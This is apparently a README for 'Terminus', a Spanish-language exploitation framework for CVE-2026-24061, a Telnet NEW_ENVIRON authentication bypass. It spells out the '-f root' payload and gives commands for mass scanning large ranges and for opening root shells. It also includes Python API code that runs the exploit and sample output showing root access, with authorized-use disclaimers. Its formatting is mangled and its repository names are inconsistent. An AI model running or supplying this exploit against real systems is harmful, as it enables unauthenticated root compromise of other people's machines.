
AsyncIO Scanner y Framework de Explotación para CVE-2026-24061 (Telnet NEW_ENVIRON Auth Bypass). Incluye descubrimiento de alta concurrencia, fingerprinting pasivo y escalada autorizada a shell root.
Un motor de análisis de seguridad para la vulnerabilidad de omisión de autenticación y escalada de privilegios Telnet NEW_ENVIRON CVE-2026-24061.

Terminus es una herramienta profesional de investigación de seguridad diseñada para pruebas de penetración autorizadas y evaluación de vulnerabilidades de CVE-2026-24061. Esta vulnerabilidad crítica afecta implementaciones heredadas de daemons Telnet, permitiendo a atacantes remotos no autenticados omitir la autenticación y obtener acceso a nivel root.
CVE-2026-24061 es una vulnerabilidad de Ejecución Remota de Código en servicios Telnet que admiten RFC 1572 (Opción de Entorno Telnet). La vulnerabilidad explota la sanitización incorrecta de la variable de entorno USER durante la subnegociación NEW_ENVIRON:
USER=john → solicita contraseñaUSER=-f root → omite la autenticación, otorga shell rootImpacto:
Servicios Afectados:
192.168.0.0/24, 10.0.0.0/8)--verify): Prueba de exploit, confirma acceso root uid=0Terminus.handshake() - Handshake compatible con RFC 854Terminus.exploit() - Entrega de payload CVE-2026-24061--exploitEl corazón de Terminus es la clase TerminusNegotiator, que proporciona una separación limpia entre el manejo del protocolo y la lógica de explotación:```python
from terminus import TerminusNegotiator
negotiator = TerminusNegotiator()
await negotiator.handshake(target="192.168.1.100", port=23)
result = await negotiator.exploit(payload="-f root")
if result.success: print(f"Root shell acquired: {result.evidence['uid']}")
### Enfoque de Motor vs. Script
**Scripts tradicionales** (herramientas existentes):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell
Motor Terminus:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report
---
## Instalación
### Requisitos
- **Python 3.10+**
- **Plataformas compatibles:**
- Windows 10/11 (PowerShell)
- Windows + WSL2 (Kali Linux, Parrot OS, Ubuntu)
- Linux nativo (Kali, Parrot, Ubuntu, Debian)
- macOS (con Python 3.10+)
### Inicio rápido (todas las plataformas)
#### Windows (PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
# Run setup script
.\setup_env.ps1
# Activate virtual environment
.venv\Scripts\Activate.ps1
# Verify installation
terminus --version
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406
chmod +x setup_env.sh ./setup_env.sh
source venv/bin/activate
terminus --version
#### Instalación Manual (Todas las Plataformas)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406
# Create virtual environment
python3 -m venv venv
# Activate (Linux/macOS/WSL)
source venv/bin/activate
# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1
# Install dependencies
pip install -e .
# Verify
terminus --version
telnetlib3 - Implementación del protocolo Telnet con AsyncIOrich - Interfaz de terminal y formato (soporte ANSI en Windows/Linux)pydantic - Validación de datos y modelosaiofiles - E/S de archivos asíncronajinja2 - Plantillas para informespyyaml - Gestión de configuraciónpathlib - Manejo de rutas multiplataforma (integrado)Nota: Todas las dependencias son Python puro o tienen ruedas multiplataforma. No se requiere compilación específica por plataforma.
Habilita el completado con tabulador para una entrada de comandos más rápida:
_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc
### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc
_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish
### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression
Pruébalo:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.
---
## Uso
### Modos de Escaneo
#### Escaneo de un Solo Objetivo```bash
terminus scan -t 192.168.1.100
terminus scan -t 192.168.1.0/24
#### Escaneo por lotes basado en archivos```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500
terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200
### Modos de Detección
#### Detección Pasiva (Predeterminado - Seguro)```bash
terminus scan -t target.com --passive-only
terminus scan -t target.com --aggressive
#### Modo de Verificación Activa (Prueba de Explotación)```bash
terminus scan -t 192.168.1.100 --verify
Check version:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db
**Escaneo pasivo (por defecto - evaluación de riesgo conservadora):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Parsing 1 targets...
Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00
╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061 │
│ Total Targets: 1 │
│ Scanned: 1 │
│ Failed: 0 │
│ Timeouts: 0 │
│ │
│ Vulnerability Breakdown: │
│ Critical: 0 │
│ High: 0 │
│ Medium: 0 │
│ Low: 1 │
│ Info: 0 │
│ │
│ Duration: 3.53s │
│ Avg Scan Time: 3522.22ms │
│ │
╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low │ unknown │ Unknown │ YES │ - │ 3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
No vulnerable targets found
Verificación activa con --verify (prueba de explotación):```powershell PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify
Parsing 1 targets... Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00
╭────── Scan Summary ──────╮ │ CVE: CVE-2026-24061 │ │ Total Targets: 1 │ │ Scanned: 1 │ │ Failed: 0 │ │ Timeouts: 0 │ │ │ │ Vulnerability Breakdown: │ │ Critical: 1 │ │ High: 0 │ │ Medium: 0 │ │ Low: 0 │ │ Info: 0 │ │ │ │ Duration: 8.04s │ │ Avg Scan Time: 8029.55ms │ │ │ ╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮ │ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │ ├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤ │ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │ ╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
Found 1 vulnerable targets!
**Explotación interactiva:**```powershell
PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Attempting exploitation of 172.17.45.122:2323...
Payload: -f root
CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained
[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit
whoami
root
┌──[root@parrot]─[~]
└──╼ #
Observaciones clave:
Qué hace:
-f rootuid=0 en la respuestaCasos de uso:
Ejemplo de salida:``` Target Port Status Daemon Risk Verified 192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS 192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested 192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A
**Verificación por lotes:**```bash
terminus scan -f targets.txt --verify -o json -w verified_results.json
Nota: La verificación activa explota vulnerabilidades. Úselo solo con la autorización adecuada.
terminus scan -t 192.168.1.0/24 -o json > results.json
#### Informe HTML```bash
terminus scan -f targets.txt -o html -w report.html
terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv
### Explotación (Solo Uso Autorizado)
#### Shell Interactiva```bash
terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target
terminus exploit -t 192.168.1.100 -c "id"
#### Carga útil personalizada```bash
terminus exploit -t 192.168.1.100 --payload "-f admin"
terminus update-signatures
#### Verificar Resultados Anteriores```bash
terminus verify -f results.json
terminus version
---
## Configuración del Entorno de Pruebas
### Para Red Team: Despliegue Multiplataforma
**Terminus está diseñado para un despliegue portátil** - copie el directorio a cualquier sistema Windows/Linux y ejecútelo sin instalación:```bash
# Copy terminus directory to target system
# No hardcoded paths - everything is relative
# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24
# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml
Recomendado para estaciones de trabajo de Red Team en Windows - entorno Linux aislado para desplegar servicios de prueba vulnerables:
wsl --install
wsl --install -d kali-linux
wsl -l -v
#### Dentro de WSL2 (Kali/Parrot)```bash
# Update system
sudo apt update && sudo apt upgrade -y
# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv
# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump
# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate
ADVERTENCIA: Solo en entornos de laboratorio aislados. Nunca en sistemas de producción.```bash
sudo apt install netkit-telnetd=0.17-*
sudo systemctl restart inetd
### Matriz de Pruebas Multiplataforma
Prueba Terminus en todas las plataformas utilizadas por tu Red Team:
| Plataforma | Instalación | Escaneo | Explotación |
|----------|-------------|----------|--------------|
| Windows 10/11 (PowerShell) | Sí | Sí | Sí |
| WSL2 - Kali Linux | Sí | Sí | Sí |
| WSL2 - Parrot OS | Sí | Sí | Sí |
| WSL2 - Ubuntu | Sí | Sí | Sí |
| Kali Linux nativo | Sí | Sí | Sí |
| Parrot OS nativo | Sí | Sí | Sí |
| macOS | Sí | Sí | Sí |
---
## Referencia de la API
### Integración con Python```python
import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore
async def scan_network():
# High-level scanner
async with TerminusScanner() as scanner:
async for result in scanner.scan_targets(["192.168.1.0/24"]):
if result.risk_score == RiskScore.CRITICAL:
print(f"CRITICAL: {result.target}")
print(f" Daemon: {result.daemon_type} {result.version}")
print(f" Confidence: {result.vulnerability_confidence:.2%}")
async def exploit_target():
# Direct engine usage
negotiator = TerminusNegotiator()
# Handshake
success = await negotiator.handshake(target="192.168.1.100", port=23)
if not success:
print("Handshake failed")
return
# Exploit
result = await negotiator.exploit(payload="-f root")
if result.success:
print(f"Root access obtained")
print(f"Evidence: {result.evidence}")
# Run
asyncio.run(scan_network())
Esta herramienta está destinada SOLO para:
El uso no autorizado es ILEGAL y poco ético.
--exploitSi descubres sistemas vulnerables usando Terminus:
Todas las rutas son relativas a la raíz del proyecto: funciona en Windows, Linux y WSL sin modificación:```yaml
scanner: default_port: 23 connect_timeout: 3.0 handshake_timeout: 5.0 max_concurrent: 1000 rate_limit: 100 # connections/second
detection: passive_only: true # Safe mode by default banner_timeout: 2.0 heuristic_checks: true
signatures_db: "./signatures.db"
exploit: require_authorization: true default_payload: "-f root" evidence_collection: true interactive_shell: true
reporting: default_format: "terminal" include_safe_targets: false verbosity: "normal"
output_dir: "./reports"
logging: level: "INFO"
file: "./logs/terminus.log" format: "json" console_enabled: true